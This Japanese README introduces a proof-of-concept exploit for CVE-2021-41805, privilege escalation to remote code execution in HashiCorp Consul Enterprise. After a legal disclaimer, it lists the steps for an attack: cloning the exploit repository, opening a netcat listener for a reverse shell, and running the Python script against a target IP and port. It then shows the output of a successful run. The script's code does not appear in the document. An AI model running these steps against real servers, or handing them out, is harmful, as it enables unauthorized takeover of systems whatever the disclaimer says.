
HashiCorp Consul Enterpriseにおいて昇格した特権でリモートコード実行(RCE)を許容する脆弱性CVE-2021-41805の概念実証。
[!WARNING] 法的免責事項: このツールは教育目的のみに厳格に使用されるものです! 事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。 このツールを使用する際に適用されるすべての法律を遵守するのはユーザーの責任です。 このツールの開発者は一切の責任を負わず、このプログラムの誤用または損害についても責任を負いません。
ある名前空間のACLトークン(デフォルトのoperator:write権限を持つ)が、別の名前空間で意図しない権限昇格に使用される可能性があります。これを悪用して、昇格した権限で**リモートコード実行(RCE)**を達成できます。
git clone https://github.com/acfirthh/CVE-2021-41805.gitcd CVE-2021-41805nc -nvlp <LISTENER_PORT>python3 CVE-2021-41805.py -r <TARGET_IP> -rp <TARGET_PORT> -l <LISTENER_IP> -lp <LISTENER_PORT> [オプション: -t <ACLトークン> -v (詳細出力) -s (SSL使用)]
基本引数を使用してエクスプロイトを実行すると: -r [TARGET_IP]、-rp [TARGET_PORT]、-l [LISTENER_IP]、-lp [LISTENER_PORT] (-t [ACL_TOKEN]、-s [SSL使用]) 次のような基本的な出力が得られます:
[*] The PUT request was made successfully. Check your listener...
基本引数に加えて -v [VERBOSE] を指定してエクスプロイトを実行すると、詳細出力が得られます:

エクスプロイトの実行中にエラーが発生し、-v 引数が指定されている場合、出力は次のようになります:
